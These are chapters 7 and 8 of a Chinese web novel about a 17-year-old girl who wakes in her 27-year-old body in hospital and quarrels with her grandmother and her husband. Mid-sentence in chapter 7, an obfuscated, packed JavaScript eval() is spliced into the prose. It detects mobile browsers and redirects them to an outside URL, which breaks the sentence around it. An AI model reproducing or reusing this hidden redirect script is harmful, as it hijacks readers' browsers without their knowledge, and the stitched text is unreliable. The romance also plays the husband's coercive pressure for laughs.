《这种阴暗兄弟代餐不要啊》 7.第七口代餐 很小很小,远在爸爸妈妈还没有出车祸的时候,陈千景就住在奶奶家了。 她对父母家没有任何印象。 嗯,奶奶说爸爸妈妈工作很忙,这也没办法。 爷爷过世很早,奶奶独自住在学校分配的教职工楼里,她当时还没有正式从学校退休,每天也要出门上班,所以,大多数时候,是把还未上幼儿园的陈千景托付给左邻右舍照看的。 楼里基本都是同一所学校任职的教师及家属,阿姨叔叔们都是好人,会给小小的陈千景看漫画,放动画片,塞各种各样的零食……陈千景没有觉得寂寞过。 尤其是那些阿姨叔叔家也有和她同龄的小孩子,父母不在时大家玩在一起,总是很开心。 小小孩嘛,跑跑跳跳,吹吹泡泡,看两集奥特曼,就能兴奋一整天了。 陈千景那时最喜欢的朋友就是住在奶奶门家的小男孩,因为他家里有全彩大电视,还有奥特曼全集与芭比公主全集——现在想想那真是个品味广泛的小朋友—— 他们成天坐在一起看动画,在黑猫警长里的白鸽警官死掉时共同哇哇大哭,在奥特曼打死哥斯拉时相互厮打。 哦,厮打原因是男孩站奥特曼,陈千景站哥斯拉,因为哥斯拉拥有她喜欢的萌萌小短爪。 ……总之,很普通、又很平常的小孩玩闹罢了。 可是,有一天。 她和那个小男孩在楼栋下的花丛里蹲在一起玩泥巴,中途又因为哥斯拉与奥特曼的问题开始厮打—— 正好碰上了奶奶下班回来,见到陈千景被小男孩压在地上,衣服和辫子都被他拽在手中。 ——两个加在一起都不满七岁的小小孩,怎么厮打也不过是抱成一团你扯我我拽你而已,看似弱势的陈千景牙齿都啃到男孩胳膊上了,指甲也把他的下巴肉抠住了,正打算踹他膝盖骨来着—— 可奶奶发了一场大火。 她非常、非常生气,一把抢过陈千景,揪起那个男孩直接冲进了他父母的家,那天,整个楼栋都充斥着奶奶指责那家人“没有意识”“不知避讳”“毫无规矩”的叱骂。 胳膊上带着三个牙印的小男孩哇哇大哭。 对门的叔叔阿姨尴尬又恼火。 “不过是几岁的小孩子打架……” “这不单单是小孩子打架!他既然是个男孩就该明白——” 护着她的奶奶很愤怒,很凶,气势非常足。 可陈千景莫名就从奶奶的声线中,听出了一丝丝微微发颤的害怕。 ……奶奶为什么会因为这种事害怕? 只是和朋友打了一架而已啊…… 衣服辫子乱糟糟的陈千景也很害怕。 ……那以后,对门的小男孩见到她就躲,同楼栋的小男孩也不敢再和她说话,陈千景…… 陈千景难受了一小会儿,但一小会儿后,也还好啦。 因为她还有很多小女孩做朋友,她们依旧愿意和她一起看电视、聊漫画、蹲在楼下玩泥巴。 也因为,那天晚上,奶奶拽着她回家,坐在沙发上,对她说的话。 “千金宝啊,奶奶的千金宝……” 奶奶问她:“以后不要和男孩子玩了,好不好啊?” 奶奶说,你要保护好自己。 奶奶说,男孩子都是很危险的东西。 奶奶说,碰到皮肤就是冒犯,扭打在一起更是禁区。 不可以、不可以、不可以…… 绝对不可以接触男生,绝对不可以和异性拉近距离。 等到千金宝宝未来长得很大很大了,大学毕业成功结婚了,才可以去考虑男孩子的事情。 ——奶奶不喜欢任何意义上的异性接近她。 小到三四岁的小孩,大到五六十岁的大叔,任何性别为“男”的存在靠近她,都会引起奶奶的反感与警惕。 陈千景不明白。 但她能感觉到,那天攥着她肩膀说话的奶奶,依旧很害怕。 她的眼睛里流露出好难过好悲哀的东西,似乎下一秒就要碎开了。 那…… 好吧。 陈千景不想让奶奶感到害怕。 再说了,“远离男生”,也不会影响到生活嘛。 ——于是上学,读书,交友,和女孩子玩在一起,偶尔不得不和男生说话,就减少接触,拉开距离。 当她长大到理解“接吻”的定义时,奶奶教导她,这是高中毕业考上大学时才可以做的事情。 当她悄悄开启对“性”的好奇,奶奶反复强调,这是长大成人顺利工作结婚之后才可以进行的行为。 只有高中毕业才可以接吻,只有结婚之后才可以做羞羞的事。 男生,雄性,危险,可怕,要回避,接触禁止。 奶奶一直这样反复强调,三令五申,像是要把上上个世纪的教条敲进她的脑子。 陈千景并不反感,尽管她已经从朋友口中得知了另一个更现代、更开放、更无拘无束的世界,也能看出奶奶教导她的规矩里有些称得上“封建”。 因为,她能感觉到奶奶真的、真的非常害怕她受异性伤害—— 奶奶自她十四岁那年第一次经期后就开始向她展示“女孩子有多容易受伤害”,陈千景还没理解怎么和男生牵手的年纪里就被灌输了“宫外孕”“剖腹产”“未婚先孕”“单亲家庭的育儿压力”…… 奶奶这么教导自己14岁的孙女:“怀孕生产是很辛苦没错,但最辛苦最可怕的,是养小孩,年纪轻轻赔掉大半辈子的人生——千金宝,如果你现在不好好学习,跑去和男生交往,就会读不了书、考不上好大学、没办法好好工作、只能拼命打工捡瓶子养小孩……将来你的小孩也只能靠捡瓶子打工过日子……” ……同龄人被午夜凶铃吓得尖叫不已时,小陈千景已经陷入了低学历低工资育儿困境的地狱里。 奶奶的这些教育比什么恐怖片都吓人。 所以她穿越后一看见肚子上的刀口就吓得歇斯底里,宁愿跳楼逃跑也不愿意养二胎…… 唉。 可她再乖再听奶奶的话,终究还是迎来了轰轰烈烈的青春叛逆期,多年来从未接触异性、被刻意压抑的好奇心在各路漫画小说的催化下大爆发,又撞上了成天往班里大张旗鼓送玫瑰花的帅气校草…… 因为从没接触过男生,所以哪怕是偷看他乌七八糟的鞋柜、旁观他臭着脸打游戏,都觉得好奇,开心。 也因为从没接触过男生,稍稍被那种剥去“漫画里的纯爱感”的情色目光真实打量,就会发自内心地觉得对方恶心、变态、必须想尽方法远离。 总之,十七岁的陈千景认定自己真诚地爱着男朋友顾锦宸,这就是漫画小说里的甜甜恋爱,我毕业后要从一而终和他结婚—— 可与此同时,现阶段为了逃避和他牵手、接吻,她甚至能一路狂奔甩下起哄的全班同学,直到被大卡车撞翻。 因为奶奶是这么教导我的!没考上大学,肢体接触就是不可以! 没有和顾锦宸结婚领证,任何涩涩的想法也都不可以!!那是极度危险的,会连累我将来和我自己的宝宝捡瓶子打工过一辈子穷日子啊! ……如果把这一切追根溯源,都是因为奶奶! 奶奶比我更警惕男生、更讨厌异性,对我身边的任何男人都极其冷酷凶悍不假辞色,所以她应该和我站在一起,向如今这个屡次摸我抱我冒犯我的家伙倾泻最大火力—— “小顾,你别理她,我看她是睡懵了,乱说话呢。” “没有,没关系,谢谢奶奶。” “哎,慢点吃啊。奶奶做了一整篮,都给你,吃不完。” “……不用,谢谢奶奶,两颗包子就够……” “小顾你就吃这点?这点怎么够?拿着,这个,拿着,还有这个,千万别跟奶奶客气,家里还蒸了两大笼花卷,你看我还带了一盒子毛豆拌雪菜,想吃馒头吗?还是白糖糖糕?尽管跟奶奶说啊——” “*被硬塞过去的馒头淹没的推拒*” “今晚想吃什么?奶奶待会去菜市场买菜,炖点鸽子老鸭给你补补吧,小顾啊,你看你脸白的……一天天熬夜也不拿自己当回事,你们这些年轻人总是,到老了就知道……吃啊,吃啊,多吃点,大小伙子怎么嚼两下就不……” “*勉强咽下馒头后又被花卷淹没的推拒*” 自始至终被晾在病床上的陈千景:“……” 奶奶!说好的讨厌男生!说好的远离一切异性呢!! 凭什么你绕过我去疯狂投喂那个阴沉沉的大坏蛋!! 那明明就是只做给我吃的糖三角、只给我包过的大花卷、只有我才能点的玉米面馒头—— “奶奶,我呢,我吃什么,我午饭呢??” 陈奶奶一听这阑尾炎病患瞎嗷嗷就来气。 “吃吃吃,一天到晚尽知道吃!你上个星期还哭着喊着说自己又胖了两斤要减肥,现在躺床上不运动了又要喊吃喊喝!” 陈千景:“……” 上个星期那个哭着喊着要减肥的家伙又不是我!我是最需要营养和能量补脑子的高中生!! 遭遇奶奶如此区别对待,她实在委屈大发了,眼泪下一秒就要冒出来:“呜呜奶奶——” 陈奶奶上次被孙女撒娇还是前两天的事,胖了两斤肉都要打电话过来跟她嚎,干嚎一通又不掉半滴眼泪,完了晚上乐颠颠跟着闺蜜去吃特辣山椒小龙虾,还发朋友圈照片让她看见了红彤彤的辣椒满是冰块的啤酒,老人家打电话嘱咐让她少吃点乱七八糟的她在那边敷衍地嗯嗯啊啊,结果当天凌晨就急性阑尾炎发作,被老公火急火燎地送进医院…… 陈奶奶接到孙女婿电话通知时那叫一个气啊,拄着拐杖在家里骂骂咧咧喷了孙女三个多小时还没完,要不是孙女婿给她送了格外闹腾的一猫一狗照看,陈奶奶能连着两晚上被孙女气得睡不着觉。 又吃冰又吃辣又不听奶奶话,都二十七了还活得像个熊孩子,要不是顾芝连连道歉后又帮老婆开脱打圆场,扯谎说“冰啤酒都是我喝的她一口没喝”“听到奶奶电话后小景就没再吃辣”“图片里那些冰块是装饰不是什么冰沙”“阑尾炎纯粹是她前段时间工作压力太大”…… 别说温柔叫醒外送早饭了,陈千景一睁眼就会被奶奶摁到膝盖上打屁股。 让你不听话。让你吓奶奶。 气人。 ……奈何孙女婿始终拦着护着,陈奶奶也终究心软,见到了面后气哼哼数落几句,也就算了。 可这熊孩子还蹬鼻子上脸,非闹着要吃花卷吃包子伤自己刚缝合好的肠子,又摆出一副泫然欲泣的表情来—— 陈奶奶半点没心软,她立刻又冒了火气上来。 多大的人了,为了两口包子还装哭呢? ——“奶奶。您先坐下吧,和小景聊聊天。” 顾芝及时拦住了她。 ……是,27岁的老婆能对着奶奶假哭干嚎,但17岁的老婆显然是真的要委屈哭了,而陈奶奶如果看见孙女大哭肯定会格外难受、震惊、难以置信…… 成年人了,面对长辈报喜不报忧是惯例,能在奶奶面前放声大哭喊委屈的,终究是二十岁左右才能做出来的事。 虽然长大的陈千景依旧是个情绪激动就爱哭、脑洞很大又很孩子气的人,但她已经能很好地控制自己,有五年多没在奶奶面前哭过了,每次回去看奶奶都是带着笑的。 难受,恐惧,委屈,愤怒,不甘,挫败……这一系列负面情绪倾泻的首选对象……已经变成了顾芝。 哦,还有家里的狗。老婆很喜欢抱着大宝毛茸茸的脑袋哭。 顾芝的眼神略略游移。 面朝着陈奶奶打圆场的同时,背后,他又伸手向陈千景的方向摁了摁,状似要盖住她的脸—— 本在酝酿眼泪的陈千景立刻应激,张嘴狠狠咬向他的掌心。 “别碰我!昨天晚上睡觉时你就是这么对我的!一米五的小变态,不准摸我!!” ……委屈感转变为攻击欲,攻击又迅速成功,自然而然就不想哭了。 顾芝默默缩回自己添了一口牙印的手,又一次想到了大学室友的仓鼠。 好痛。 手背是抓痕,手心是牙印…… 啊,但是手心的牙印比昨天她刚来时抓出来的痕迹轻了许多,没破皮没淌血。 看来不管嘴上怎么说,还是在慢慢信任我。 顾芝麻木地甩了两下手,避开陈奶奶的视线,转身提起保温壶。 “那我就先下楼去清洗餐具……奶奶,您和小景慢慢聊,别气了,也别吵。” 门一开一合。 没了泪意的陈千景恢复理智,她看向奶奶。 ……唔,和十年前比起来,奶奶一点也没变嘛。 好像背还直了点?皱纹少了两道吗?身高稍微矮了一点点?看不太出来…… 为什么顾芝那家伙的形态从一米五小变态变成了邪恶大BOSS,奶奶却纹丝不动…… “奶奶,你在吃什么奇奇怪怪的保健品吗,不要浪费钱啊。长生不老药是不存在的哦。” 陈奶奶立马在她脑门上重重一敲。 “什么保健品,你能少气我两天就是奶奶我最好的保健品!” 明明是奶奶先气我。 陈千景扁扁嘴。 她知道不能坦白自己出车祸穿越的事,也不能在奶奶面前表现出对顾芝的陌生。 可…… “奶奶为什么唯独就那么照顾那家伙啊,”她不甘心地嘟哝,“他是个很可怕的男人哎。” 她从没见过奶奶这样关照过自己身边的同龄男生,这转变也太吓人了。 十年没有让奶奶的外表变化,却让奶奶的人格更换了吗? ……不不,骂人敲脑门,还有气势汹汹地握拐杖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841723|190263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,依旧是自家奶奶。 陈奶奶拧紧眉。 “从刚才开始你对小顾的态度就很不好,乱七八糟骂他这些话……你们吵架了?你赌什么气呢?” ……不是,她以前对那家伙的态度能好到哪去,顶多就是塑料夫妻吧。 陈千景不想伪装“我和‘老公’感情很好”,便模糊道:“就那样呗……奶奶,你也不是真的喜欢顾芝那种人吧。” 虽然不能告知实情,她其实希望奶奶能表示“他干什么坏事了跟奶奶说”“没关系奶奶帮你出头”,就像很小很小的时候,奶奶面对那个几岁的小男孩都会揪着他大骂他再将她护在身后—— 虽然那件事很微妙,但顾芝又不是无辜的四岁小男孩,他对她动手动脚还将她困在这里,装得再好也是个大魔王。 凶巴巴的奶奶是她的避风港,面对奇怪又可怕的男人,奶奶不应该反而去帮助对方啊。 可陈奶奶的眉皱得更紧了。 “这孩子,是麻醉后还没清醒吗?你自己选的对象自己相处了两年,现在却一个劲说他坏话,让奶奶去讨厌他?” “……可你以前禁止我和男生……” “以前是以前,现在你长得这么大了,结婚证都领了两年,我还来禁止什么?禁止你27岁婚内早恋吗?” 陈千景:“……” 陈千景磨了磨牙。 奶奶的语言攻击性变得好强,她有理由相信,是顾芝那个说话难听的家伙带坏了奶奶。 “所以奶奶你只是敌视其他接近我的男生,唯独不敌视顾芝那种家伙吗?!” 陈奶奶越听越觉得不像话。 她不轻不重地捏了下孙女的脸:“小顾是你自己选的自己挑的——奶奶为什么要敌视你喜欢的对象啊?” 才不是,我不可能出于喜欢和那种人结婚,肯定是更复杂更阴暗更不可言说的原因—— 陈千景猛地坐起,她想反驳,可话到临头,又缩了回去。 ……如果真的是复杂阴暗不可言说的原因,自己对奶奶解释结婚,肯定会用“因为我喜欢”这种万能理由含糊过去,让奶奶放下心来。 啊,难怪。 奶奶毕竟是个好人,未来的我“真心选择”的对象,奶奶再怎么反感,也会压下情绪,努力去关怀吧。 毕竟奶奶觉得结婚就是一辈子,要做一家人。 哦,也有可能,那家伙在奶奶面前装得很好……他刚才被奶奶一个劲塞东西吃的样子就挺乖……差点被馒头呛到后一个劲喝豆浆的样子也挺可爱……他竟然也喊我奶奶“奶奶”?凭什么他能乱喊我奶奶?哼……装乖…… 陈千景忿忿道:“他难道没有自己的奶奶吗,就乱喊。” 陈奶奶啪地又敲了一个暴栗。 “小顾当然没有奶奶,你又不是不知道小顾他那对乱七八糟的父母——”她严肃了神情,“别乱说话了。让小顾听到多伤他心啊?” 哎。 陈千景难以置信。 “所以奶奶你知道顾芝的出生吗?顾芝在家里是私生子,他——” “什么私生子不私生子的,没有这种说法!” 陈奶奶重重地拄了下拐杖:“他那两个妈一个爹全不是好东西,原配在世时后妈先挤过去当三,原配故去后小顾的亲妈再插入的,小顾出生时他那个垃圾亲爹还没和后妈结婚,在外面左拥右抱玩着呢,根本不存在正妻,这能算什么私生子——你从哪听来的这些瞎话?” 啊? 什么亲妈后妈,原配插入的? 陈千景呆愣地微微张嘴,仿佛闯入瓜田的猹。 她下意识喃喃道:“可顾锦宸说……” 老太太手里的拐杖“嘭”地一声响,整个人瞬间生出了二三十年前那能训得整栋家属楼战战兢兢的凶悍气场,仿佛下一秒就要揪起哪个熊孩子的耳朵再扇出戒尺。 她低喝:“别跟我提那鬼名字!” 陈千景浑身一个哆嗦。 ……也、也对哦,我偷偷早恋时瞒着奶奶的,看奶奶现在这个表现,后来肯定是早恋被发现了吧…… “高中早恋”,在奶奶的观念里,肯定和“死刑”强关联。 她噤了声。 而陈奶奶有些莫名地看向孙女:“你突然提那名字干嘛?真和小顾吵架吵到翻脸了?你以前从来不提这些旧事。” “没……没啦……” 陈奶奶盯了她好一会儿,半晌,叹了一口气。 “奶奶只希望你能开开心心的,要是你和小顾结婚后闹了矛盾……” 陈千景亮了亮眼睛。 归根结底,她只是想缠着自家奶奶要来一句“奶奶帮你教训他”。 “……你就成熟点,别再任性,偶尔也要主动哄哄他,别总让小顾包容你……知道吗?” 陈千景:“……” 陈千景:“凭什么要我哄他!奶奶你偏心!!” 陈奶奶彻底无语了。老人家翻了一个特别生动的大白眼。 “当年不是你缠着闹着,硬是逼奶奶拉下老脸帮你撒谎追——” “奶奶?” 门一开一合。 是回来的顾芝,提着洗干净的保温壶与饭盒站在门边,微笑着推了推眼镜。 “你们聊什么呢,当年有什么我不知道的趣事吗?” 陈千景眨眨眼,难得不想攻击他,也想追问下去。 “奶奶刚才在和我说——” 【不准说,快闭嘴啊笨蛋!!!!】 咦。 一道格外忿恨、恼怒、强烈的声音在心里响起,陈千景覆在病床被单上的手指抽了抽。 ……咦? 谁在骂我笨蛋?? 声音听着好耳熟…… 而另一边,陈奶奶已经站起,轻咳着往外走。 “没什么,无聊的小事……小顾啊,奶奶想去问问医生,你带我……” “嗯,好。您稍等。” 顾芝放好清洗干净的器具,正要重新拉开门,眼角余光却瞥见了病床上的陈千景。 午后的阳光从窗外射来,照亮了她茫然微张的嘴唇,却又将她的双眼淹没在背光的阴影里。 “……小景?” 顾芝顿住脚步。 陈千景疑惑地摆了摆头。离开了那一小片背光的区域,她的眼神依旧天真又稚嫩。 错觉吗。 顾芝扶了扶眼镜,伸手护着陈奶奶走过的后背,又向她招了招。 “机会难得,要不要一起出去走走,适当运动一下?” “……哦……” 真的假的,我还以为他要一直把我囚|禁在这里…… 【当然不可能干这种事了,啊我受不了了——你是傻瓜吗!!!】 陈千景一怔,捂住了耳朵。 “……幻听吗?” 能和我自己的心理活动接上的幻听? 8.第八口代餐 这天的时间过得异常快,或许是奶奶的絮叨太熬人,又或许是医院太大。 ……陈千景第无数次庆幸自己之前没有跳楼逃跑,住院部大楼的高度不仅可以摔死十个她,就算侥幸成功跳了下去,地下的面积也能绕晕她…… 为什么住院部旁边会有这么大的花园。 为什么光是从胃肠科走到骨折科就要绕过三道人工小溪。 为什么不管奶奶还是顾芝全部对这种迷宫般漫长的道路毫无异议…… 为什么,这具身体明明脸上没皱纹没斑没有任何苍老的痕迹,相较十七岁的自己也就是五官身材稍稍成熟了一点,其余部位别无二致——可真的动起来、迈开腿,只走了半小时就喘不上来气,脚软眼晕脑子也嗡嗡响个不停! 一周七天有五天都要被老师强迫跑早操、中午又习惯了争分夺秒抢食堂的高中生无法理解成天对着电脑久坐的社会人日积月累出的超级脆皮。 陈千景气喘吁吁,已经落到了最末尾,离奶奶和顾芝二十几米的距离。 最前方的老太太腿脚灵便,拄着拐杖虎虎生风,完全没注意到慢吞吞的孙女; 陪在老太太身后的顾芝倒是注意到了她的落后,有心帮忙,但是稍一回头就被陈千景凶神恶煞的“不要碰我”眼神瞪了回去。 走个路而已,她才不想让变态施加援助呢。 又不是电视剧里平地摔的女主角,她自认小脑发育正常。 她抵触着顾芝,连带着也抵触起他对她无微不至的看顾——因为顾芝这样照看她如果不是出于“真心喜欢”,那就是出于“看轻自己”了。 他觉得她会跑丢才会守在病房里; 他觉得她会滑倒才会提议帮她上厕所; 他觉得她会平地摔跤才会在走路时频繁回头等候自己。 那么,在他眼里,她是不是根本没有脑子没有手脚? ……如果顾芝知道她这套逻辑,肯定会无语地表示,陈同学,你是个刚动过手术的病人。 不能吃饭,不能剧烈运动,独自上厕所与独自走路都是可能会牵扯到肚子上的刀口的活动,被他额外留意、仔细照顾本就是天经地义的,否则他专门安排好工作待在医院做什么? 老婆那天晚上急性阑尾炎发作,半夜他被她的痛嘶惊醒,一睁眼就看见她满头冷汗缩在他怀里疼得泪眼模糊,吓得他有一瞬间大脑空白。 二十七岁的陈千景领教了“不要冰啤酒就热烫麻辣龙虾再就西瓜冰沙咔咔吃到撑”的惨痛教训,十七岁的陈千景同学却完全没有“阑尾炎”“手术开刀”的实感,一确认不是剖腹产就开始傻乐,对身体的感知似乎也变得迟钝。 要吃要喝,要跑要跳,一刻也不愿消停,实在是活力无极限的高中生…… 所以,哪怕她此刻体力渐渐耗尽,跟不上他们的脚步,也不肯开口让前面的他等等。 ……明明她是很喜欢撒娇的人。 归根结底,还是因为“讨厌”他吗? 陈奶奶在最前方遇见了一位老年大学的朋友,顾芝趁机再次停下脚步。 他想去牵她的手,搀着她走路,即便会再一次被“恶心”扎穿胃部。 陈千景的身体晃了晃,顾芝下意识伸出胳膊—— “呀!!” 是一个突然窜出来的小女孩,十岁左右,穿着病服,腿上打着石膏。 她似乎在学着操控电动轮椅,不知怎的就带着轮椅整个撞了过来,轮子翻倒,眼看就要狠狠摔在鹅卵石上。 顾芝这一伸手,正巧,拦住了她往下倒的腰。 “……谢、谢谢……大哥哥……” 陈千景站稳了,看向前面不知为何走回来的家伙。 他正一边抱着小姑娘,一边弯腰拎起翻倒的轮椅。 原来还是有点点善心的,反应这么快,没让小孩摔倒。 她原本这么想。 可当他将小孩抱回轮椅,转身与她告别,陈千景瞥见了他背在身后的手—— 尚未愈合的抓痕,泛着青紫,又被轮椅轮子内的金属辐条狠狠绞了一下,二次割开了伤口。 青色,紫色,惨白的肤色与血的鲜红。 只一瞬,他很快就把那只手放回衣兜。 但那一瞬就足够陈千景僵在原地,宛如被雷电劈中。 【为什么伤成这样?】 那个声音——奇怪的声音——在她心里爆开。 之前那两声“笨蛋”“傻瓜”虽然是叱骂,却更像是绝望又痛苦的嘟哝,陈千景没有被陌生人攻击的感觉,反而隐隐有点亲近那声音,所以她才会误以为自己产生了超能力。 可此刻响起的第三声,是无比尖利的。 她的脑子开始眩晕,仿佛有谁在里面嘭嘭捶打锁死的窗户。 【让我出来,让我来,让我——快去——不行——】 可那声音出不去。 就连传达出的语句都是断裂、模糊、很难听清的,无法持续很久。 像深深的大炖锅里冒出来的泡泡。 火不够旺,水不够沸,刚放入的蔬菜泛着生,最容易熟的肉块也存着血丝…… 要掀开锅盖,捞下长长的勺子,再多耐心炖煮数小时—— 才可能让潜藏的泡泡一点点活跃起来,丰富起来,从锅底成功窜上水面。 ……陈千景不知道自己为何会有模糊的“时机未到”认知,这种感觉就像她知道自己的左手手指在动,出自一种格外自然的身体本能。 可那怪异的声音正在违背本能。 喊叫化为模糊尖锐的杂音,冥冥中那激烈的捶打尽数锤在陈千景心脏的瓣膜上,胸腔嘭嘭震响,视野一片模糊。 她的身体似乎要被撕破。 她们共同惊慌失措。 陈千景弯下腰,大口吸气,呼气,再吸气。 是……缺氧吗? 好痛苦…… 脑子里有什么在吵……之前又有什么在叫……不知道了,统统不记得,只感觉……难受……快要…… “小景。” 她被捧起脸。被那只完好的手。 顾芝眉头紧皱:“……小景,你还好吗?放轻松……” 不断嘶喊、捶打、拼命要违背本能挤上来的东西突然安静了,就像被谁安抚。 陈千景渐渐褪去了眩晕感,他们贴得很近,她看清了顾芝镜片下的眼睛。 ……非常意外,不是阴冷又可怕的眼睛,依旧写着无数的关心,许多掩藏的焦虑,还有一些深埋的疲倦。 最无害,最专注,又最柔软。 ……这难道不是她十年后第一次见到他时,看见的假皮吗? 关心与温柔,明明都是这个阴沉沉的变态伪装出来的…… 陈千景喘匀了气。 她还没推开顾芝的手,他已经撤走了手,手上那枚光滑洁净的银环在她眼前闪过。 “没事的,奶奶,似乎只是一些体力不支导致的缺氧。” 陈奶奶挤了过来,盯着她的脸色细瞧了好一会儿。 万幸,此刻冷汗转为热汗,陈千景喘着喘着弯腰摁住了自己的膝盖,红润的脸色像一条爬山爬到歇菜的小狗。 “……所以要奶奶说多少遍,多多锻炼,注意身体,你看你才走了这两步路就……” “小景这是职业病了,奶奶,久坐画画很辛苦,况且她刚刚做过手术,也没办法。我以后会督促她好好锻炼的,您放心。” “小顾你总这么护着她,别的不说,但凡你早上能叫她多去遛两趟大宝,而不是放任她天天睡懒觉……” “可奶奶,小景需要充足的睡眠,曲奇很乖,也不会想让妈妈顶着黑眼圈陪它。” “……哎,哎,反正我说她两句,你能立刻搬出几千个理由来帮她,明明自己脸上还挂着黑眼圈,你们这些年轻孩子都是对自己的身体不上心……” 正扶着膝盖呼哧喘气的陈千景完全忽略了前面两人的对话。 不管是“久坐职业病”还是“多遛两趟大宝”,她现在没空去抓取这些关键词分析,之前不知为何耗费了大把体力,现在即便缓了过来,心脏依旧在余震。 呼哧……呼哧……呼…… “慢慢走,调整呼吸。好了,别继续蹲在这里,小景,不动会更难受。” 手腕隔着袖子被人握住了,一股不算重却也能依托全身的力道牵引过她的身体,将她一点点往前拉。 是顾芝。 他从奶奶身边折回来,又握住了她,带着她慢慢往前走。 ……搞什么,故意在奶奶面前表现体贴好老公吗,我又不是走个路都要人牵的废物,不需要你假好心……你其实只是想确认我没有趁机逃走的力气吧…… 可没有直接被触碰的手腕、没有直接对上的视线、没有直接被拉过揽起的双腿都令陈千景无法再积聚敌意。 他真的只是在帮助她。 隔着衣袖松松握住自己的那几根手指比漫画里十指相扣的感觉还要安稳,引着她向前走的背影也提供了一个就算绊倒失去平衡也没关系的心理缓冲,路旁蹒跚的小孩子牵三轮扭扭车都没有他牵她的动作安稳、细致。 而她突然产生了一种直接扑到他背上让他给自己做代步工具的冲动,仿佛这具身体已经形成了“被牵着走到一半就要扑过去求抱求背”的条件反射——心脏也跳得愈来愈快了,和之前那种被撕裂的窒息感不一样,这次只是一个劲咚咚咚咚——真的很像要爆炸。 ……运动不足心力衰竭的社会人身体,好可怕! 散步结束后,在奶奶一脸“你们这不是关系依旧很好嘛”的欣慰中,陈千景同学兀自坚定了好好锻炼的决心。 送别奶奶,看过医生,做完每日检查,今天第一次独处的时间里,她转向顾芝。 “顾芝,刚才在花园里的事……” 柔软的语气,微红的双颊,似乎重新亲近自己的象征。 顾芝侧目。 “让我想立刻提升身体素质。我卡里的钱还够买哑铃吗?从今天起我要锻炼体能!” 顾芝:“……” 他在抱什么多余期望呢。 那个每次和他牵手走路到最后都不会好好走路、喜欢扑过来要背要抱或搂他胳膊贴贴的老婆已经是过去式了。 “不行。顶多下楼遛弯,不可剧烈运动。” “但——” “手术后一周不能洗澡。你不会想每晚都睡在自己发馊的臭汗里吧。我倒是不介意你充分运动后的汗水,反正我不需要睡被汗腌出臭鱼味的被窝。” “……顾芝你这张嘴能不能闭上!永远闭上吧!” “不能。我要呼吸。” “我现在就让你停止呼吸——” 顾芝没有停止呼吸,他单手把重新活泼起来的老婆镇压回病床,又端来水盆和毛巾。 逐步逼近病床的眼镜片下,重新被暗沉沉的阴影遮住,连带着翘起的嘴角也变得诡异。 仿佛他手里的不是温度适宜的水盆,而是滴着血的献祭台。 “刚才也运动出汗了吧?来,把衣服脱了,擦擦后背和腿。” 陈千景:“……” 这家伙绝对是因为她的抵抗生气了!他这副表情是要趁机把她的皮搓烂掉吧!为什么正常人能露出这么可怕的表情!! “我要护士姐姐来帮忙!不需要你!滚滚滚!” 顾芝:“护士都很忙。不要浪费医疗资源。” “那请护工——” 顾芝:“我们家从来不请护工。浪费钱,由我照顾你就行。” 假的,老婆工作出差时他每次生病都会请起码两个护工来帮忙,因为在医院跑上跑下很浪费时间,家里的猫猫狗狗又离不开人遛圈看顾。 嗯,顾芝请护工压根不是照顾自己的,一个用来替他去医院看病拿药,一个帮他遛狗喂猫铲屎,他自己呢,赚钱的时间宝贵,在公司根本懒得挪窝。 反正老婆不在家他就不用装什么热爱生活的居家阳光暖男,顾芝连饭菜都懒得烧,三餐只磕咖啡与能量棒,他专门腾出时间为自家毛孩子做的猫饭狗饭都比自己吃得好。 用朋友粱晓新的话说,“你这么多年没把自己养死真是个奇迹”。 ……不过后来这招就不太管用了,不知是不是察觉了什么,老婆出差时总会掐着三餐时间打电话来查岗,问他吃了什么喝了什么,还会逼他给食物拍照…… 可架不住顾芝追老婆时的人设是“上班前会精心为自己准备暖和的工作便当”“比起冷冰冰的工作积极有趣的生活更重要”,所以他早就给自己手下真正的居家暖男·3号秘书买了和自己一模一样的饭盒,每次都去拍下属的工作便当发给老婆,假装他每天都有好好为自己制作三菜一汤。 嗯,压根难不倒他。 不管是对以前的老婆扯谎还是对现在的老婆扯谎。 “……刷我的卡啦!花我的钱!” 陈千景躲开他要擦拭自己后背的毛巾:“我我我批准你用我的钱去请护工!” 顾芝继续胡说八道:“那也不行。你的钱就是我的钱,请护工浪费我的钱,我会心疼。” 陈千景:好差劲——一个大男人被我养着还在算计我遗产不允许我花钱吗! “你绝对是那种渣男吧,老婆怀孕后要去月子中心却嫌浪费钱不许她去的家伙——你这种渣中之渣、屑中之屑——阴暗变态的一米五弟中弟——” 顾芝:“……” 啧。 “是一米五三点六。不是一米五。” “我管你多少——” 她咬牙切齿,一脚踹出去,被握住脚趾。 顾芝懒得再假笑,他一把拖过她的腿,膝盖压上病床。 “要么上毛巾擦,要么我直接上嘴。选一个。” 陈千景:“……!!” ——最终还是用毛巾擦了汗。 但老婆团在病床上恼火至极的背影上空,几乎能看见再次降至零的好感进度条。 ……没关系,反正十七岁的老婆认死了他是个坏人,一直忍着被她狂扎的肺管子装好脾气也很累。 顾芝低眉转了转婚戒。 “等吃过晚饭就开始背资料,明天开始就是周末了,你会很忙。” 又来了,这种政治老师般的腔调。 不等她主动提就丢来大堆大堆的信息,“你该知道这个”“你尽快了解这个”,仿佛一个她还没准备好迎接考试就疯狂喂题的恶魔教师。 最令人恼火的是,涉及正事他给出的帮助全部是可靠、可信、极其实用的,在他的指导下她真的一步步掌握了十年后的未来世界,刚才出门接了几个电话回来就说“已经打听到了十四个穿越时空的可能性,等你养好病我们就行动”,她穿越过来还不到72小时他就在制订详细方案了……简直就是时空冒险的神仙队友。 ……队友能力超强引人仰慕,可人品超烂令人鄙夷,每次下意识觉得他“很厉害”之后又觉得很恼火,宛如看不顺眼的变态罪犯获得诺贝尔奖…… 那张嘴那脾气那性格,脸再好看也绝对不行的吧! 究竟为什么要和那种人结婚啊,未来的我 